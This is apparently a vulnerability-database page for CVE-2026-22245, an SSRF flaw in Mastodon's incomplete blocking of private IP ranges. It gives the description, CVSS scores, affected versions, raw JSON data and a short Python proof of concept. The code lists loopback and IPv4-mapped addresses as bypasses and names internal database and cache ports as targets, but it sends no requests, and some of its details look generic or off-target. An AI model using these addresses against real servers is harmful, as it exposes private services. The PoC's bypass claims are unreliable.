Security Vulnerability Report
中文
CVE-2026-22245 CVSS 7.5 HIGH

CVE-2026-22245

Published: 2026-01-08 16:16:03
Last Modified: 2026-01-15 20:36:42

Description

Mastodon is a free, open-source social network server based on ActivityPub. By nature, Mastodon performs a lot of outbound requests to user-provided domains. Mastodon, however, has some protection mechanism to disallow requests to local IP addresses (unless specified in `ALLOWED_PRIVATE_ADDRESSES`) to avoid the "confused deputy" problem. The list of disallowed IP address ranges was lacking some IP address ranges that can be used to reach local IP addresses. An attacker can use an IP address in the affected ranges to make Mastodon perform HTTP requests against loopback or local network hosts, potentially allowing access to otherwise private resources and services. This is fixed in Mastodon v4.5.4, v4.4.11, v4.3.17 and v4.2.29.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:* - VULNERABLE
Mastodon < v4.2.29
Mastodon < v4.3.17
Mastodon < v4.4.11
Mastodon < v4.5.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-22245 PoC - Mastodon SSRF via Private Address Bypass # This PoC demonstrates how an attacker can exploit the incomplete private address protection import requests import socket import struct def generate_special_ip(): """ Generate special IP addresses that may bypass the private address check Examples: IPv6 loopback, IPv4-mapped IPv6, etc. """ special_ips = [ "::1", # IPv6 loopback "0::1", # Another IPv6 loopback notation "::ffff:127.0.0.1", # IPv4-mapped IPv6 address "2001:db8::1", # Documentation prefix (may be allowed) ] return special_ips def check_private_address(ip): """ Simulate Mastodon's incomplete private address check This shows which IPs would bypass the protection """ # Simplified check - missing some IP ranges private_ranges = [ ("127.0.0.0", "127.255.255.255"), ("10.0.0.0", "10.255.255.255"), ("172.16.0.0", "172.31.255.255"), ("192.168.0.0", "192.168.255.255"), ] try: ip_int = struct.unpack('!I', socket.inet_aton(ip))[0] for start, end in private_ranges: start_int = struct.unpack('!I', socket.inet_aton(start))[0] end_int = struct.unpack('!I', socket.inet_aton(end))[0] if start_int <= ip_int <= end_int: return False # Blocked return True # Allowed (vulnerable) except: # IPv6 addresses may bypass this check return True # Vulnerable def exploit_mastodon(target_url, internal_service): """ Exploit Mastodon SSRF to access internal services """ # Malicious payload that triggers SSRF payload = { 'name': 'Malicious Account', 'url': f'http://{internal_service}/', # Target internal service 'note': '<script>alert(1)</script>' } # In real attack, this would be sent via ActivityPub or webfinger print(f"[*] Targeting: {target_url}") print(f"[*] Attempting to access internal service: {internal_service}") # The vulnerable endpoint would process this and make a request # to the internal service if the IP check is bypassed return { 'status': 'exploit_sent', 'target_internal': internal_service, 'method': 'ActivityPub/Webfinger SSRF' } if __name__ == "__main__": print("=== CVE-2026-22245 Mastodon SSRF PoC ===\n") # Check which IPs bypass protection print("[*] Checking special IP addresses:") for ip in generate_special_ip(): bypasses = check_private_address(ip) status = "VULNERABLE (bypasses check)" if bypasses else "BLOCKED" print(f" - {ip}: {status}") print("\n[*] Target internal services to exploit:") internal_services = [ "localhost:5432", # PostgreSQL "localhost:6379", # Redis "localhost:9200", # Elasticsearch "127.0.0.1:3000", # Local Mastodon instance "192.168.1.1:8080", # Internal web services ] for service in internal_services: print(f" - {service}") print("\n[!] Note: This PoC is for educational purposes only.") print("[!] Always obtain proper authorization before testing.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22245", "sourceIdentifier": "[email protected]", "published": "2026-01-08T16:16:02.803", "lastModified": "2026-01-15T20:36:42.153", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mastodon is a free, open-source social network server based on ActivityPub. By nature, Mastodon performs a lot of outbound requests to user-provided domains. Mastodon, however, has some protection mechanism to disallow requests to local IP addresses (unless specified in `ALLOWED_PRIVATE_ADDRESSES`) to avoid the \"confused deputy\" problem. The list of disallowed IP address ranges was lacking some IP address ranges that can be used to reach local IP addresses. An attacker can use an IP address in the affected ranges to make Mastodon perform HTTP requests against loopback or local network hosts, potentially allowing access to otherwise private resources and services. This is fixed in Mastodon v4.5.4, v4.4.11, v4.3.17 and v4.2.29."}, {"lang": "es", "value": "Mastodon es un servidor de red social gratuito, de código abierto, basado en ActivityPub. Por naturaleza, Mastodon realiza muchas solicitudes salientes a dominios proporcionados por el usuario. Mastodon, sin embargo, tiene algún mecanismo de protección para denegar solicitudes a direcciones IP locales (a menos que se especifique en 'ALLOWED_PRIVATE_ADDRESSES') para evitar el problema del 'diputado confundido'. La lista de rangos de direcciones IP no permitidas carecía de algunos rangos de direcciones IP que pueden usarse para alcanzar direcciones IP locales. Un atacante puede usar una dirección IP en los rangos afectados para hacer que Mastodon realice solicitudes HTTP contra hosts de bucle invertido o de red local, lo que podría permitir el acceso a recursos y servicios que de otro modo serían privados. Esto está corregido en Mastodon v4.5.4, v4.4.11, v4.3.17 y v4.2.29."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.2.29", "matchCriteriaId": "9DC30BD1-D8D8-4CA4-AC41-1AA95AADDBD3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.3.0", "versionEndExcluding": "4.3.17", "matchCriteriaId": "DEAC34A7-EB88-4E46-B5D6-F4EBB88CE049"}, {"vulnerable": true, "criteria": "cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndExcluding": "4.4.11", "matchCriteriaId": "DD92863A-CB76-45AA-BF4D-9870B24E8109"}, {"vulnerable": true, "criteria": "cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.5.0", "versionEndExcluding": "4.5.4", "matchCriteriaId": "3E8FBAF5-C7BC-4980-9780-50BA935D126B"}]}]}], "references": [{"url": "h ... (truncated)